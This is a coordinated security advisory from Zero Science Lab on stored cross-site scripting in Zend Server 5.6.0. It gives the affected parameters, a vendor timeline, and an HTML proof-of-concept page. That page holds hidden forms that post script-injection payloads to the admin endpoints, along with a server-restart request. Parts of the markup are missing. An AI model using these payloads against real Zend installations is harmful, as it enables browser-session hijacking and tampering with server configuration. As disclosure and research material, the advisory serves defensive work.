Zend Server 5.6.0 – Multiple Remote Script Insertion Vulnerabilities

<!--

Title: Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities

Vendor: Zend Technologies Ltd.

Product web page: http://www.zend.com

Affected version: Zend Server 5.6.0

*Zend Optimizer+ 4.1

*Zend Code Tracing 1.0

*Zend Data Cache 4.0

*Zend Job Queue 4.0

*Zend Debugger 5.3

*Zend Java Bridge 3.1

Summary: Zend Server is a complete, enterprise-ready Web Application Server for running

and managing PHP applications.

Desc: Zend Server and its components suffers from a cross-site scripting vulnerability.

The persistent (stored) XSS issues are triggered when input passed via several parameters

to several scripts is not properly sanitized before being returned to the user. This can

be exploited to execute arbitrary HTML and script code in a user's browser session in

context of an affected site. List of parameters and modules that are affected:

---------------------------------------------------------------------------------

* Parameter * * Module/Component *

---------------------------------------------------------------------------------

1. directives[zend_optimizerplus.blacklist_filename] -- Zend:Optimizer+

2. traceUrl -- Zend:Code Tracing

3. host -- Zend:Data Cache

4. name -- Zend:Data Cache

5. path -- Zend:Data Cache

6. ruleName -- Zend:Job Queue

7. directives[zend_jbridge.encoding] -- Zend:Java Bridge

8. directives[zend_debugger.allow_hosts] -- Zend:Debugger

9. directives[zend_debugger.deny_hosts] -- Zend:Debugger

10. directives[zend_codetracing.log_file] -- Zend:Code Tracing

---------------------------------------------------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)

Apache 2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/0.9.8o

PHP 5.3.9-ZS5.6.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

Vendor status:

[22.02.2012] Vulnerabilities discovered.

[23.02.2012] Contact with the vendor.

[23.02.2012] Vendor responds asking for details.

[24.02.2012] Sent detailed information to the vendor.

[24.02.2012] Vendor assigns appropriate team for coordination.

[27.02.2012] Vendor is analyzing the issues, working on a fix.

[27.02.2012] Asked vendor for confirmation and scheduled patch release date.

[28.02.2012] Vendor replies with confirmation of the issues.

[05.03.2012] Asked vendor for status update.

[06.03.2012] Vendor created fix for the issues, promising patch release date.

[07.03.2012] Sent coordination details to the vendor.

[07.03.2012] Vendor replies with release information.

[08.03.2012] Vendor releases hotfix 5.6.0 SP1 to address these issues.

[10.03.2012] Coordinated public security advisory released.

Advisory ID: ZSL-2012-5078

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php

Zend Advisory: http://www.zend.com/topics/ZS-560-SP1-ReleaseNotes-20120308.txt

http://www.zend.com/en/products/server/updates

22.02.2012

-->

<html>

<title>Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities</title>

var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +

"for educational purposes only, without warranty of any kind, whether\n" +

"express or implied.\n\n" +

"The author reserves the right not to be responsible for the topicality,\n" +

"correctness, completeness or quality of the information provided in\n" +

"this document. Liability claims regarding damage caused by the use of\n" +

"any information provided, including any kind of information which is\n" +

"incomplete or incorrect, will therefore be rejected.";

var answ = confirm(disclaimer);

if (answ == true){}else{window.location.href = "http://www.zend.com";}

function xss1(){document.forms["xss1"].submit();}

function xss2(){document.forms["xss2"].submit();}

function xss3(){document.forms["xss3"].submit();}

function xss4(){document.forms["xss4"].submit();}

function xss5(){document.forms["xss5"].submit();}

function xss6(){document.forms["xss6"].submit();}

function xss7(){document.forms["xss7"].submit();}

function rst(){document.forms["rst"].submit();}

</script>

HTML Response:</h2></center>

name="ZSL_iframe" align="top" frameborder="0" style="position:absolute;left:525;

top:80;background-color:#cecece;"></iframe>

<br />

<form action="http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"

enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">

<input type="hidden" name='directives[zend_optimizerplus.blacklist_filename]' value='"><script>alert(1);</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Code-Tracing/Generate-Dump"

enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">

<input type="hidden" name="traceUrl" value='"><script>alert("ZSL");</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Page-Cache/Save-Rule"

enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">

<input type="hidden" name="host" value='"><script>alert(1);</script>' />

<input type="hidden" name="name" value='"><script>alert(2);</script>' />

<input type="hidden" name="path" value='"><script>alert(3);</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Job-Queue-Scheduling/Save-Rule"

enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">

<input type="hidden" name="ruleName" value='"><script>alert("ZSL");</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBKYXZhIEJyaWRnZQ%3D%3D"

enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">

<input type="hidden" name="directives[zend_jbridge.encoding]" value='"><script>alert(1);</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBEZWJ1Z2dlcg%3D%3D"

enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">

<input type="hidden" name="directives[zend_debugger.allow_hosts]" value='"><script>alert(1);</script>' />

<input type="hidden" name="directives[zend_debugger.deny_hosts]" value='"><script>alert(2);</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"

enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">

<input type="hidden" name='directives[zend_codetracing.log_file]' value='"><script>alert(1);</script>' />

</form>

<form action="http://localhost:10081/ZendServer/Configuration/Webserver-Restart"

enctype="application/x-www-form-urlencoded" method="POST" id="rst" target="ZSL_iframe">

<input type="button"

style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;